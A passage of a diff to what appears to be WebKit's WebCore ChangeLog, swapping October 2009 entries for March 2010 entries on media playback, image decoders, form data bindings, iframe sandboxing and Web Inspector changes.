-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_timeout_func):
-        (webkit_video_sink_dispose):
-        (unlock_buffer_mutex):
-        (webkit_video_sink_unlock):
-        (marshal_VOID__MINIOBJECT):
-        (webkit_video_sink_class_init):
-        (webkit_video_sink_new):
-        * platform/graphics/gtk/VideoSinkGStreamer.h:
-        Directly pass the buffers up to the MediaPlayerPrivate::paint()
-        method instead of rendering them first to an intermediate cairo
-        surface. This should increase performance and peak memory usage.
+        (WebCore::RenderLayerCompositor::needsToBeComposited):
+        (WebCore::RenderLayerCompositor::requiresCompositingLayer): Move the
+        "inCompositingMode() && layer->isRootLayer()" test out of requiresCompositingLayer()
+        and into needsToBeComposited() so that we can call requiresCompositingLayer() separately
+        on the root layer above.
 
-2009-10-11  Daniel Bates  <dbates@webkit.org>
+2010-03-15  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Adam Barth.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30242
-        
-        Fixes an issue where JavaScript URLs that are URL-encoded twice can 
-        bypass the XSSAuditor.
-        
-        JavaScript URLs that are completed by method Document::completeURL have added
-        URL-encoded characters such that a direct comparison with the URL-decoded 
-        outgoing HTTP parameters is not sufficient. Instead, the URL-decoded outgoing 
-        HTTP parameters must be URL-decoded before comparison.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35888
 
-        Tests: http/tests/security/xssAuditor/iframe-javascript-url-twice-url-encode.html
-               http/tests/security/xssAuditor/iframe-javascript-url-twice-url-encode2.html
-               http/tests/security/xssAuditor/iframe-javascript-url-twice-url-encode3.html
+        * platform/efl/SoundEfl.cpp: Added.
 
-        * bindings/ScriptControllerBase.cpp:
-        (WebCore::ScriptController::executeIfJavaScriptURL): Modified to pass XSSAuditor
-        the URL-decoded source code for the JavaScript URL.
-        * page/XSSAuditor.cpp:
-        (WebCore::isIllegalURICharacter): Minor syntactical change to the comment.
-        (WebCore::XSSAuditor::CachingURLCanonicalizer::canonicalizeURL): Added 
-        parameter decodeURLEscapeSequencesTwice.
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
-        (WebCore::XSSAuditor::decodeURL): Ditto.
-        (WebCore::XSSAuditor::findInRequest): Ditto.
-        * page/XSSAuditor.h:
-        (WebCore::XSSAuditor::CachingURLCanonicalizer::CachingURLCanonicalizer): Ditto.
+2010-03-15  Andy Estes  <aestes@apple.com>
 
-2009-10-11  Dominic Cooney  <dominicc@google.com>
+        Reviewed by John Sullivan.
 
-        Reviewed by Adam Barth.
+        For continuous scrolling devices on the Mac (trackpads and Mighty/Magic
+        Mice), set the number of wheel ticks equal to the atomic increment of
+        the device: a pixel.  This ensures that any scrolling action will
+        generate at least one wheel tick, regardless of the speed/length of
+        the gesture.
 
-        Fixes a build break in the V8 bindings caused by revision 49420.
-        https://bugs.webkit.org/show_bug.cgi?id=30294
+        https://bugs.webkit.org/show_bug.cgi?id=29601
+        <rdar://problem/7453254>
 
-        Revision 49420 introduces an IDL-defined CanvasActiveInfo
-        type. This causes a build break in the V8 bindings where
-        CanvasGraphicsContext3D naively refers to CanvasActiveInfo as a
-        non-ref type.
+        Tests: fast/events/continuous-platform-wheelevent-in-scrolling-div.html
+               fast/events/platform-wheelevent-in-scrolling-div.html
 
-        * WebCore.gypi: Include CanvasActiveInfo.idl in build.
-        * bindings/scripts/CodeGeneratorV8.pm: CanvasActiveInfo is a ref
-          ptr type.
-        * bindings/v8/DOMObjectsInclude.h: Include generated
-          CanvasActiveInfo files.
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
+        * platform/mac/WebCoreSystemInterface.h: Modify method signature.
+        * platform/mac/WebCoreSystemInterface.mm: Ditto.
+        * platform/mac/WheelEventMac.mm:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent): Call into
+        WebKitSystemInterface to determine both wheelTicksX/Y and deltaX/Y.
+        WKSI will query the event system for number of wheel ticks and
+        pixels/lines scrolled based on the device type.
 
-2009-10-11  Collin Jackson  <collinj@webkit.org>
+2010-03-15  Philippe Normand  <pnormand@igalia.com>
 
-        Reviewed by Adam Barth.
+        Reviewed by Gustavo Noronha Silva.
 
-        Log mixed content warnings to console
+        [GStreamer] duration query optimizations
+        https://bugs.webkit.org/show_bug.cgi?id=36116
 
-        https://bugs.webkit.org/show_bug.cgi?id=30290
+        Don't reattempt duration queries that previously failed and cache
+        media duration only if it's known.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::checkIfDisplayInsecureContent):
-        (WebCore::FrameLoader::checkIfRunInsecureContent):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::duration):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::durationChanged):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-2009-10-11  Søren Gjesse  <sgjesse@chromium.org>
+2010-03-11  Peter Kasting  <pkasting@google.com>
 
         Reviewed by Adam Barth.
 
-        [V8] Add a context scope in JS listener destructor. The destructor code uses the cotext. See http://crbug.com/24200.
-        https://bugs.webkit.org/show_bug.cgi?id=30250
-
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
-
-2009-10-11  Lyon Chen  <lyon.chen@torchmobile.com>
-
-        Reviewed by Alexey Proskuryakov.
+        Clean up more bits of the open-source image decoders.  In addition to
+        simplifying things somewhat, this makes all the decoders the same in
+        terms of how they construct "image reader" subclasses and init scale
+        data.
 
-        Correct the position of #endif sentence inside WebCore::Document::finishedParsing().
+        https://bugs.webkit.org/show_bug.cgi?id=36040
 
-        https://bugs.webkit.org/show_bug.cgi?id=30244
+        No functional change, so no tests.
 
-        This change requires no test case as it fix a compiling error.
-
-        * dom/Document.cpp:
-        (WebCore::Document::finishedParsing):
-
-2009-10-11  Dominic Cooney  <dominicc@google.com>
+        * platform/image-decoders/ImageDecoder.h: Reorder a few declarations to try and group/order members slightly better.
+        (WebCore::ImageDecoder::ImageDecoder):
+        * platform/image-decoders/gif/GIFImageDecoder.cpp: Move reader construction into decode().  Prep scale data in setSize().  Remove useless comment.
+        (WebCore::GIFImageDecoder::setData):
+        (WebCore::GIFImageDecoder::setSize):
+        (WebCore::GIFImageDecoder::frameBufferAtIndex):
+        (WebCore::GIFImageDecoder::decode):
+        * platform/image-decoders/gif/GIFImageDecoder.h: Prep scale data in setSize().
+        * platform/image-decoders/gif/GIFImageReader.cpp: Prep scale data in setSize().
+        (GIFImageReader::read):
+        * platform/image-decoders/ico/ICOImageDecoder.cpp: Shorten code.
+        (WebCore::ICOImageDecoder::setSize):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp: Fix style.  Move reader construction into decode().
+        (WebCore::JPEGImageReader::close):
+        (WebCore::JPEGImageReader::skipBytes):
+        (WebCore::JPEGImageDecoder::decode):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h: Move reader construction into decode().
+        (WebCore::JPEGImageDecoder::filenameExtension):
+        * platform/image-decoders/png/PNGImageDecoder.cpp: Move reader construction into decode().  Track completion on decoder, not reader.  Prep scale data in setSize().  Remove useless comment.
+        (WebCore::PNGImageReader::PNGImageReader):
+        (WebCore::PNGImageReader::close):
+        (WebCore::PNGImageReader::decode):
+        (WebCore::PNGImageDecoder::setSize):
+        (WebCore::PNGImageDecoder::frameBufferAtIndex):
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::pngComplete):
+        (WebCore::PNGImageDecoder::decode):
+        * platform/image-decoders/png/PNGImageDecoder.h: Move reader construction into decode().  Track completion on decoder, not reader.  Prep scale data in setSize().
+        (WebCore::PNGImageDecoder::filenameExtension):
+        (WebCore::PNGImageDecoder::isComplete):
 
-        Reviewed by Adam Barth.
+2010-03-15  Philippe Normand  <pnormand@igalia.com>
 
-        Sets a 500K stack limit for JavaScript workers in Chromium.
-        https://bugs.webkit.org/show_bug.cgi?id=29797
+        Reviewed by Gustavo Noronha Silva.
 
-        Runaway recursion in JavaScript workers crashes the Chromium
-        worker process on OS X. This is because V8's default stack limit
-        is 512K on ia32 or 1M on x64, but the worker process runs workers
-        on a thread with the OS X default stack size--512K. Because there
-        are already some C+frames on the stack when V8 establishes its
-        512K default stack limit, and V8 doesn't precisely enforce the
-        stack limit, runaway recursion in V8 workers overflows the OS
-        stack and segfaults, killing the worker process. This is described
-        in Chromium bug 21653 <http://crbug.com/21653>.
+        [GStreamer] updateStates called for all elements posting a state-change
+        https://bugs.webkit.org/show_bug.cgi?id=36115
 
-        This patch sets the V8 stack limit for worker JavaScript in
-        Chromium to a more conservative 500K on all platforms. This allows
-        some "headroom" for the C+stack in use when the limit is set up,
-        and some "legroom" for the V8 helper functions which in practice
-        briefly flout the V8 stack limit.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback): Update player state
+        only for state-change messages coming from playbin2 directly.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
+        (WebCore::MediaPlayerPrivate::pipeline): public accessor for the
+        playbin element.
 
-        Test: LayoutTests/fast/workers/use-machine-stack.html
+2010-03-15  Jian Li  <jianli@chromium.org>
 
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::initV8IfNeeded):
-        * bindings/v8/WorkerContextExecutionProxy.h:
+        Reviewed by Nate Chapin.
 
-2009-10-11  Kevin Ollivier  <kevino@theolliviers.com>
+        [v8] Add V8 bindings for DOMFormData.
+        https://bugs.webkit.org/show_bug.cgi?id=36026
 
-        wx build fix for wxMac 2.9, use wxGC API for measuring text.
+        Test: http/tests/local/send-form-data.html
 
-        * platform/wx/wxcode/mac/carbon/fontprops.cpp:
-        (GetTextExtent):
+        * Android.v8bindings.mk:
+        * WebCore.gypi:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8DOMFormDataCustom.cpp: Added.
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::V8XMLHttpRequest::sendCallback):
 
-2009-10-10  Cameron McCormack  <cam@mcc.id.au>
+2010-03-15  Jian Li  <jianli@chromium.org>
 
         Reviewed by Sam Weinig.
 
-        Allow [Reflect] on SVG elements.
-        https://bugs.webkit.org/show_bug.cgi?id=28936
-
-        Update the JS binding generators to reference SVGNames instead of
-        HTMLNames, if [Reflect]ing an attribute on an SVG element.  Make
-        SVGElement::id use [Reflect].
-
-        Also make [Reflect] on an attribute with a setter exception work in ObjC
-        bindings.
-
-        Test: svg/dom/id-reflect.html
-
-        * bindings/scripts/CodeGenerator.pm: Add a function to determine the
-        appropriate C+namespace for attribute name constants.
-        * bindings/scripts/CodeGeneratorObjC.pm: Generate ExceptionCode handling
-        code for [Reflect] on an attribute with a setter exception.
-        * bindings/scripts/CodeGeneratorCOM.pm: Generate "SVGNames" instead of
-        "HTMLNames" when appropriate.
-        * bindings/scripts/CodeGeneratorJS.pm: Ditto.
-        * bindings/scripts/CodeGeneratorV8.pm: Ditto.
-        * svg/SVGElement.cpp: Remove getter and setter methods for id.
-        * svg/SVGElement.h: Ditto.
-        * svg/SVGElement.idl: Add [Reflect] to id.
-
-2009-10-10  Oliver Hunt  <oliver@apple.com>
-
-        Fix paths in xcode.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-10-10  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Eric Carlson.
-
-        Implement getActiveAttrib and getActiveUniform
-        https://bugs.webkit.org/show_bug.cgi?id=30276
-
-        Implements the getActiveAttrib and getActiveUniform APIs.
-        Rather simple patch, adds CanvasActiveInfo definition and implementation
-        and adds forwarding to the GraphicsContext3D.
+        Add DOMFormData.idl to expose FormData interface.
+        https://bugs.webkit.org/show_bug.cgi?id=36024
+        
+        The implementation is based on XMLHttpRequest 2 spec:
+        http://dev.w3.org/2006/webapi/XMLHttpRequest-2/#formdata
 
-        Test: fast/canvas/webgl/getActiveTest.html
+        Test: http/tests/local/send-form-data.html
 
+        * Android.derived.jscbindings.mk:
+        * Android.derived.v8bindings.mk:
+        * Android.jscbindings.mk:
+        * DerivedSources.cpp:
         * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pri:
+        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * html/canvas/CanvasActiveInfo.h: Added.
-        (WebCore::CanvasActiveInfo::create):
-        (WebCore::CanvasActiveInfo::name):
-        (WebCore::CanvasActiveInfo::type):
-        (WebCore::CanvasActiveInfo::size):
-        (WebCore::CanvasActiveInfo::CanvasActiveInfo):
-        * html/canvas/CanvasActiveInfo.idl: Added.
-        * html/canvas/CanvasObject.h:
-        (WebCore::CanvasObject::context):
-          Need to make the context public as it is needed to ensure we don't
-          provide a program from one context as an argument to another.
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        (WebCore::CanvasRenderingContext3D::getActiveAttrib):
-        (WebCore::CanvasRenderingContext3D::getActiveUniform):
-        * html/canvas/CanvasRenderingContext3D.h:
-        * html/canvas/CanvasRenderingContext3D.idl:
-        * platform/graphics/GraphicsContext3D.h:
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::getActiveAttrib):
-        (WebCore::GraphicsContext3D::getActiveUniform):
-
-2009-10-10  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Adding new attributes in Element Panel is
-        counterintuitive.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30057
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype._onmousemove):
-        (WebInspector.ElementsTreeElement.prototype.set hovered):
-        (WebInspector.ElementsTreeElement.prototype.toggleNewAttributeButton):
-
-2009-10-10  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        Build fix if Netscape plugin support is turned off
-        https://bugs.webkit.org/show_bug.cgi?id=30275
-
-        In addition to fixing the build break with guards
-        remove notImplemented() from PluginViewNone.cpp and
-        make them just just be empty functions.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::handleEvent):
-        (WebCore::PluginView::PluginView):
-        * plugins/PluginView.h:
-        * plugins/PluginViewNone.cpp:
-        (WebCore::PluginView::setFocus):
-        (WebCore::PluginView::show):
-        (WebCore::PluginView::hide):
-        (WebCore::PluginView::paint):
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::PluginView::handleMouseEvent):
-        (WebCore::PluginView::setParent):
-        (WebCore::PluginView::setNPWindowRect):
-        (WebCore::PluginView::handlePostReadFile):
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::getValueStatic):
-        (WebCore::PluginView::invalidateRect):
-        (WebCore::PluginView::invalidateRegion):
-        (WebCore::PluginView::forceRedraw):
-        (WebCore::PluginView::platformStart):
-        (WebCore::PluginView::platformDestroy):
-        (WebCore::PluginView::setParentVisible):
-        (WebCore::PluginView::updatePluginWidget):
+        * bindings/js/JSDOMFormDataCustom.cpp: Added.
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::send):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * html/DOMFormData.idl: Added.
+        * page/DOMWindow.idl:
 
-2009-10-10  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-03-15  Patrik Persson  <patrik.j.persson@ericsson.com>
 
-        Unreviewed.
+        Reviewed by Darin Adler.
 
-        [Qt] Build fix for QtWebKit after r49415.
+        https://bugs.webkit.org/show_bug.cgi?id=32369
 
-        Add HistoryController.cpp to the build.
+        Revise iframe sandbox behavior to match the updated HTML5 spec.
 
-        * WebCore.pro:
+        - Enables window.sessionStorage in sandboxed iframes.
 
-2009-10-09  Darin Fisher  <darin@chromium.org>
+        - Raises SECURITY_ERR exceptions when window.localStorage or
+          window.openDatabase() is blocked by iframe sandboxing.
 
-        Reviewed by Eric Seidel.
+          Note: window.sessionStorage does not raise exceptions.
 
-        [Chromium] KURLGoogle's protocolIs barfs on input containing hyphens
-        https://bugs.webkit.org/show_bug.cgi?id=30262
+        WebKit would previously return null references in these cases.  The
+        new behavior is in accordance with HTML5:
 
-        This is not testable from WebKit since WebKit never uses the member
-        function form of protocolIs with input that can be controlled from a
-        web page.  It always passes string literals lacking hyphens.
-
-        * platform/KURLGoogle.cpp:
-        (WebCore::lowerCaseEqualsASCII): Only assert if toASCIILower would
-        transform the input character.
+          http://dev.w3.org/html5/webstorage/   (sections 4.2 and 4.3)
+          http://dev.w3.org/html5/webdatabase/  (section 4.1)
+          http://www.mail-archive.com/whatwg@lists.whatwg.org/msg19786.html
 
-2009-10-10  Adam Barth  <abarth@webkit.org>
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::selectDOMStorage): exception handling
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::handleEvent): exception handling
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::sessionStorage): re-enabled in iframe sandbox
+        (WebCore::DOMWindow::localStorage): raise exception rather than return null
+        (WebCore::DOMWindow::openDatabase): raise exception rather than return null
+        * page/DOMWindow.h: added exceptions to interface
+        * page/DOMWindow.idl: added exceptions to interface
+        * page/SecurityOrigin.h:
+        (WebCore::SecurityOrigin::canAccessLocalStorage): renamed function to reflect its purpose
+        * storage/StorageEventDispatcher.cpp:
+        (WebCore::StorageEventDispatcher::dispatch): exception handling
 
-        Reviewed by Oliver Hunt.
+2010-03-15  Alexander Pavlov  <apavlov@chromium.org>
 
-        Move HistoryController to its own file
-        https://bugs.webkit.org/show_bug.cgi?id=30272
+        Reviewed by Timothy Hatcher.
 
-        Purely mechanical.
+        Web Inspector: Implement a progress indicator in the Audits panel
+        when resources are reloading
+        https://bugs.webkit.org/show_bug.cgi?id=35971
 
+        * English.lproj/localizedStrings.js:
         * GNUmakefile.am:
         * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * loader/HistoryController.cpp: Added.
-        * loader/HistoryController.h: Added.
-
-2009-10-09  Ryosuke Niwa  <rniwa@webkit.org>
+        * inspector/front-end/AuditLauncherView.js:
+        (WebInspector.AuditLauncherView.prototype.updateResourceTrackingState):
+        (WebInspector.AuditLauncherView.prototype.get totalResources):
+        (WebInspector.AuditLauncherView.prototype.set totalResources):
+        (WebInspector.AuditLauncherView.prototype.get loadedResources):
+        (WebInspector.AuditLauncherView.prototype.set loadedResources):
+        (WebInspector.AuditLauncherView.prototype._resetResourceCount):
+        (WebInspector.AuditLauncherView.prototype.resourceStarted):
+        (WebInspector.AuditLauncherView.prototype.resourceFinished):
+        (WebInspector.AuditLauncherView.prototype.reset):
+        (WebInspector.AuditLauncherView.prototype._setAuditRunning):
+        (WebInspector.AuditLauncherView.prototype._launchButtonClicked):
+        (WebInspector.AuditLauncherView.prototype._createCategoryElement):
+        (WebInspector.AuditLauncherView.prototype._createLauncherUI):
+        (WebInspector.AuditLauncherView.prototype._updateResourceProgress):
+        (WebInspector.AuditLauncherView.prototype._updateButton):
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype.resourceStarted):
+        (WebInspector.AuditsPanel.prototype.resourceFinished):
+        (WebInspector.AuditsPanel.prototype.reset):
+        * inspector/front-end/Images/spinner.gif: Added.
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/audits.css:
+        (.audit-launcher-view .resource-progress > img):
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateResource):
 
-        Reviewed by Eric Seidel.
+2010-03-15  Philippe Normand  <pnormand@igalia.com>
 
-        ApplyStyleCommand removes presentational tags even when not necessary
-        https://bugs.webkit.org/show_bug.cgi?id=28091
+        Reviewed by Gustavo Noronha Silva.
 
-        This patch updates implicitlyStyledElementShouldBeRemovedWhenApplyingStyle to return true
-        (triggering removal of tag) only if the style implicitly added by the element is not present in
-        the new style to apply. It also changes surroundNodeRangeWithElement so that it merges the
-        surrounding element when possible. applyTextDecorationStyle is modified so that it does not add
-        style span when the style attribute is empty.
+        [GStreamer] replace g_idle_add / g_timeout_add calls with Timers in the gstreamer player
+        https://bugs.webkit.org/show_bug.cgi?id=35735
 
-        Test: editing/execCommand/toggle-style-3.html
+        Replaced g_idle_add calls with Timers immediately started once
+        only. The g_timeout_add was replaced by a periodic Timer.
 
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::ApplyStyleCommand::shouldRemoveTextDecorationTag): Returns true if specified text
-        decoration is not present in the style to apply
-        (WebCore::ApplyStyleCommand::implicitlyStyledElementShouldBeRemovedWhenApplyingStyle): No longer
-        returns true if the tag is used in new style
-        (WebCore::ApplyStyleCommand::applyTextDecorationStyle): Does not add style-span when redundant
-        (WebCore::ApplyStyleCommand::surroundNodeRangeWithElement): Merges the newly created element
-        with the surrounding identical elements
-        * editing/ApplyStyleCommand.h:
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::volumeChangedTimerFired):
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::processBufferingStats):
+        (WebCore::MediaPlayerPrivate::fillTimerFired):
+        (WebCore::MediaPlayerPrivate::maxTimeLoaded):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::muteChangedTimerFired):
+        (WebCore::MediaPlayerPrivate::muteChanged):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-2009-10-09  Adam Barth  <abarth@webkit.org>
+2010-03-12  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Reviewed by Darin Adler.
+        Reviewed by Eric Carlson.
 
-        Factor HistoryController out of FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30246
+        media/video-preload.html fails
+        https://bugs.webkit.org/show_bug.cgi?id=35793
 
-        HistoryController is in charge of managing the current / previous /
-        provisional HistoryItems.  The split isn't perfect, but it's a place to
-        start.  I'll move HistoryController into its own file in another patch.
+        Only effectively load, and start buffering when playing, or when
+        the preload attribute is set.
 
-        * WebCore.base.exp:
-        * loader/FrameLoader.cpp:
-        (WebCore::HistoryController::HistoryController):
-        (WebCore::HistoryController::~HistoryController):
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::closeURL):
-        (WebCore::FrameLoader::begin):
-        (WebCore::HistoryController::restoreDocumentState):
-        (WebCore::HistoryController::setCurrentItem):
-        (WebCore::HistoryController::setProvisionalItem):
-        (WebCore::FrameLoader::loadURLIntoChildFrame):
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
-        (WebCore::FrameLoader::scrollToAnchor):
-        (WebCore::FrameLoader::commitProvisionalLoad):
-        (WebCore::FrameLoader::transitionToCommitted):
-        (WebCore::FrameLoader::checkLoadCompleteForThisFrame):
-        (WebCore::FrameLoader::didFirstLayout):
-        (WebCore::HistoryController::updateForFrameLoadCompleted):
-        (WebCore::FrameLoader::frameLoadCompleted):
-        (WebCore::FrameLoader::detachFromParent):
-        (WebCore::FrameLoader::receivedMainResourceError):
-        (WebCore::FrameLoader::continueFragmentScrollAfterNavigationPolicy):
-        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
-        (WebCore::HistoryController::addHistoryItemForFragmentScroll):
-        (WebCore::FrameLoader::loadProvisionalItemFromCachedPage):
-        (WebCore::FrameLoader::shouldTreatURLAsSameAsCurrent):
-        (WebCore::HistoryController::createHistoryItem):
-        (WebCore::FrameLoader::checkDidPerformFirstNavigation):
-        (WebCore::HistoryController::addBackForwardItemClippedAtTarget):
-        (WebCore::HistoryController::createHistoryItemTree):
-        (WebCore::HistoryController::saveScrollPositionAndViewStateToItem):
-        (WebCore::HistoryController::restoreScrollPositionAndViewState):
-        (WebCore::HistoryController::invalidateCurrentItemCachedPage):
-        (WebCore::HistoryController::saveDocumentState):
-        (WebCore::FrameLoader::loadItem):
-        (WebCore::HistoryController::urlsMatchItem):
-        (WebCore::HistoryController::goToItem):
-        (WebCore::HistoryController::recursiveGoToItem):
-        (WebCore::HistoryController::childFramesMatchItem):
-        (WebCore::HistoryController::updateForStandardLoad):
-        (WebCore::HistoryController::updateForClientRedirect):
-        (WebCore::HistoryController::updateForBackForwardNavigation):
-        (WebCore::HistoryController::updateForReload):
-        (WebCore::HistoryController::updateForRedirectWithLockedBackForwardList):
-        (WebCore::HistoryController::updateForCommit):
-        (WebCore::HistoryController::updateForAnchorScroll):
-        (WebCore::HistoryController::saveDocumentAndScrollState):
-        (WebCore::HistoryController::setCurrentItemTitle):
-        (WebCore::FrameLoader::didChangeTitle):
-        * loader/FrameLoader.h:
-        (WebCore::HistoryController::current):
-        (WebCore::HistoryController::provisional):
-        (WebCore::FrameLoader::policyChecker):
-        (WebCore::FrameLoader::history):
-        (WebCore::FrameLoader::creatingInitialEmptyDocument):
-        * page/Page.cpp:
-        (WebCore::Page::goToItem):
+        Test: media/video-preload.html
 
-2009-10-09  Alexey Proskuryakov  <ap@apple.com>
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::load):
+        (WebCore::MediaPlayerPrivate::commitLoad):
+        (WebCore::MediaPlayerPrivate::prepareToPlay):
+        (WebCore::MediaPlayerPrivate::setPreload):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-        Unreviewed - fixing an obvious typo in my previous check-in.
+2010-03-15  Shu Chang  <Chang.Shu@nokia.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30260
-        <rdar://problem/6447115> REGRESSION: Logging out from SAP doesn't work
+        Reviewed by Holger Freyther.
 
-        Fixes existing tests (which I thought I had run the previous time).
+        [Qt] The behavior of QGradient with no stops is defined differently from HTML5 spec,
+        where the latter requires the gradient to be transparent black. Explicitly added a
+        transparent black color stop to match the HTML5 behavior.
+        https://bugs.webkit.org/show_bug.cgi?id=36060
 
-        * platform/network/CredentialStorage.cpp: (WebCore::originsWithCredentials): Return the
-        set by reference.
+        * platform/graphics/qt/GradientQt.cpp:
+        (WebCore::Gradient::platformGradient):
 
-2009-10-09  David Levin  <levin@chromium.org>
+2010-03-11  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Reviewed by Eric Seidel.
+        Rubber-stamped by Holger Freyther.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        [v8] Need change to V8WorkerContextEventListener::reportError signature to match the base class.
-        https://bugs.webkit.org/show_bug.cgi?id=30264
+        Some minor code clean ups in SpatialNavigation.cpp
 
-        The base class method changed in r48884.
+        * page/SpatialNavigation.cpp:
+        (WebCore::distanceInDirection):
+        (WebCore::deflateIfOverlapped):
 
-        Test: fast/worker/worker-script-error.html
+2010-03-13  Ilya Tikhonovsky  <loislo@chromium.org>
 
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::V8WorkerContextEventListener::reportError):
-        * bindings/v8/V8WorkerContextEventListener.h:
+        Reviewed by Timothy Hatcher.
 
-2009-10-09  Alexey Proskuryakov  <ap@apple.com>
+        WebInspector: Position of GraphBar elements is calculating more carefully
+        and they fully visible at the bottom of Timeline panel.
+       
+        http://bugs.webkit.org/show_bug.cgi?id=35966
 
-        Reviewed by Brady Eidson.
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelineRecordGraphRow.prototype.update):
 
-        https://bugs.webkit.org/show_bug.cgi?id=30260
-        <rdar://problem/6447115> REGRESSION: Logging out from SAP doesn't work
-
-        Tests: http/tests/xmlhttprequest/logout.html
-               http/tests/xmlhttprequest/re-login-async.html
-               http/tests/xmlhttprequest/re-login.html
-
-        Fix several issues with existing credential handling code.
-
-        * platform/network/CredentialStorage.cpp:
-        (WebCore::pathToDefaultProtectionSpaceMap): Changed the data structure to a simpler one.
-        (WebCore::originsWithCredentials): The reason for two-stage lookup above was that we didn't
-        want to iterate paths for origins that never had credentials associated with them. Changed
-        to use a separate HashSet for this.
-        (WebCore::pathToDefaultProtectionSpaceMap): The concept of default per-path credentials didn't
-        match the spec very well. UAs are supposed to deduce protection space from an URL, and then
-        use whichever credentials are known for this protection space. So, OriginToDefaultBasicCredentialMap
-        is now PathToDefaultProtectionSpaceMap.
-        (WebCore::protectionSpaceMapKeyFromURL): Factored out a helper that extracts a directory
-        URL from a given URL. These directory URLs are what we use as keys in PathToDefaultProtectionSpaceMap.
-        (WebCore::CredentialStorage::set): Updated for above changes.
-        (WebCore::findDefaultProtectionSpaceForURL): Factored out code iterating path length to find
-        a prefix in OriginToDefaultBasicCredentialMap.
-        (WebCore::CredentialStorage::set): Another version of set() can update credentials for a
-        URL default protection space. It does nothing if the given URL doesn't correspond to a known
-        protection space.
-        (WebCore::CredentialStorage::get): Renamed from getDefaultAuthenticationCredential.
-
-        * platform/network/CredentialStorage.h: Made the distinction between methods that use a known
-        protection space and those that deduce one from URL more clear.
+2010-03-15  MORITA Hajime  <morrita@google.com>
 
